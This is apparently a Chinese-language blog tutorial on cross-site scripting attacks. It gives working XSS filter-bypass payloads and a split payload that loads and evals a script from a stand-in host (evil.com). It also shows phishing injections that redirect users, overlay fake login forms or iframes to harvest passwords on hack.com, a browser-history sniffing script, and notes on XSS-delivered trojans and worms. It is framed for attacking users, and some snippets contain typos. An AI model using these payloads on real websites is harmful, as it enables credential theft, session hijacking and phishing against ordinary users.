0x00 XSS
XSS,跨站脚本攻击(Cross Site Scripting),恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。比如获取用户Cookie,会话劫持,钓鱼欺骗等多种攻击。
0x01 绕过
实际的情况中,很多网站会对<>,script等关键词进行限制,也有的不允许在input中运行js脚本,这个时候,就需要去考虑怎么绕过。
首先是最简单的大小写混用,对一些仅仅匹配过滤的系统进行绕过,如:
1
| <ScRipt>AleRt('xss')</ScRipt>
|
在某些系统中,用户不能自己构造html标签,这个时候可以使用html标签属性值调用js,比如:
1 2
| <table background="jacascript:alert(/xss/)"></table> <img src="javascript:alert('xss');">
|
在有些系统中,xss Filter仅仅将敏感字符列入黑名单,可以通过空格,tab,回车来绕过限制,如:
1
| <img src="javas cript:alert('xss');">
|
或者换行输入用分号分隔:
1 2 3
| <img src="javas cript: alert('xss');">
|
普通的标签属性值过滤还可以通过编码绕过,如:
1
| <img src="javascript:alert('xss');">
|
可以写成:
1
| <img src=javascript:alert('xss')>
|
不能依靠属性值运行xss的时候,我们可以尝试通过html事件来实现xss,如:
1
| <img src="#" onerror=alert('xss') >
|
图片地址不存在,加载失败的时候就会运行后面的脚本
也可以在别的位置使用:
onload加载完成时运行
oncheck点击时运行
onmousemove当鼠标移动时运行
在样式表中,/**/中间的内容会被浏览器忽略,在css中,我们可以使用expression执行js代码,这个时候遇到黑名单过滤,我们就可以通过添加无意义的注释符号来避开过滤。
1
| <div style="xss:expr/*xss*/ession(alert('xss'))">
|
有的网站输入框对输入长度有所限制,无法构造出完整的xss代码,这个时候有一种十分巧妙的拆分法可供选择,如我们要输入:
1
| document.write('<script src=http://www.evil.com/hack.js></script>')
|
但是输入框限制每次只能输入30个字符时,我们可以:
1 2 3 4 5 6 7 8 9 10 11
| <script>z='document.'</script> <script>z=z+'write("'</script> <script>z=z+'<script'</script> <script>z=z+'src=htt'</script> <script>z=z+'p://www'</script> <script>z=z+'.evil.c'</script> <script>z=z+'om/hack'</script> <script>z=z+'.js></s'</script> <script>z=z+'cript>"'</script> <script>z=z+')'</script> <script>z=z+'eval(z)'</script>
|
这样就成功将代码拼接在z中,再通过eval(z)执行代码。
0x03 cookie劫持
cookie劫持在上一篇的跨站脚本攻击中已经详细演示过,具体方法就是通过用户点击链接访问页面,执行恶意xss代码然后将用户的浏览器cookie发送到我们自己的远程服务器,然后通过cookie来登陆。
0x04 xss钓鱼
xss钓鱼是xss最常用的利用方式,有很多种实现方式:
我们在一个网页找到了xss漏洞:
1
| http://www.123.com/index.php?input=[Expliot]
|
构造如下代码:
1
| http://www.123.com/index.php?input=<script>document.location.href="http://www.hack.com"</script>
|
就可以通过xss重定向,将网页跳转到www.hack.com
仍然假设有如下漏洞页面
1
| http://www.123.com/index.php?input=[Expliot]
|
然后我们在input里面写入一段html代码,就会在正常的网页中增添一个我们构造的登陆表单:
1 2 3 4
| http://www.hack.com/index.php?input="'<html><head><title>login</title></head> <body><div style="text-align: center;"><form Method="POST" Action="phishing.php" Name="form"><br /><br/>Login:<br/> <input name="login" /><br />Password:<br/><input name="Password" type="password" /><br /><br /><input name="Valid" value="Ok" type="submit" /><br /></form></div></body></html>
|
然后通过这个表单覆盖网页中的部分位置,就很容易引诱用户输入账号密码。
iframe是HTML标签,作用是文档中的文档,或者浮动的框架(FRAME)。iframe元素会创建包含另外一个文档的内联框架。
我们先来看一个iframe的例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <html> <head> <style>body{ margin:0px; border:0px; padding:0px; } iframe{border:0px; } </style> </head> <body> <iframe src="http://www.baidu.com/" id="iframepage" name="iframepage" width="100%" height="100%" ></iframe> </body> </html>
|
这样我们可以用百度页面覆盖整个网页。
而xss-iframe钓鱼就是攻击者在有xss的网站中用iframe框架调用自己的黑页,覆盖整个页面或者登陆框,将数据传给自己。
我们可以先在自己的www.hack.com搭建好完全和对方相同的网页,并且在后台写好接收保存账号密码的php文件,然后将style和iframe写在xss中
1 2 3
| <style>body{margin:0px;border:0px;padding:0px;} iframe{border:0px;} <iframe src="http://www.hack.com/"width="100%" height="100%"></iframe>
|
就会覆盖整个网页,并且将数据传给我们的网站。而且用户访问这个网站时url仍然是原本的url。
0x05 http history hack
css中有个属性visited,可以设置访问过的链接样式,然后xss可以通过遍历检查css中的visited属性,来查看一个用户是否访问过某些网站。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| < script > var websites = [要检测的访问过的网址列表(自己补充)];
for (var i = 0; i < websites.length: i++) { var link = document.createElement("a"); link.id = "id" + i; link.href = websites[i]; link.innerHTML = websites[i]; document.write('<style>'); document.write('#id' + i + ":visited {color:#FF0000;}"); document.write('</style>'); document.body.appendChild(link); var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color"); document.body.removeChild(link); if (color == "rgb(255,0,0)") { var item = document.createElement('li'); item.appendChild(link); document.getElementById('visited').appendChild(item); } else { var item = document.createElement('li'); item.appendChild(link); document.getElementById('notvisited').appendChild(item); } } < /script>/
|
0x06 xss网页挂马
在存储型xss中,我们可以将自己的xss代码提交上去,然后链接我们的木马,这样每个访问有xss页面的人都会触发木马。
0x07 xss Wrom
xss wrom即xss蠕虫,在一些存在存储型xss漏洞的大型社交网站,如果我们将xss代码的功能写成让访问到的人,在自己的主页里或其他有权限的页面提交一个一样的xss代码,这样浏览他的主页的人也会受到xss wrom影响继续写xss代码,这样就会很快传遍整个网络,危害极大。
而且xss蠕虫通常使用了大量的Ajax技术,即异步请求,无须刷新即可传输数据,隐蔽性高,传播速度极快。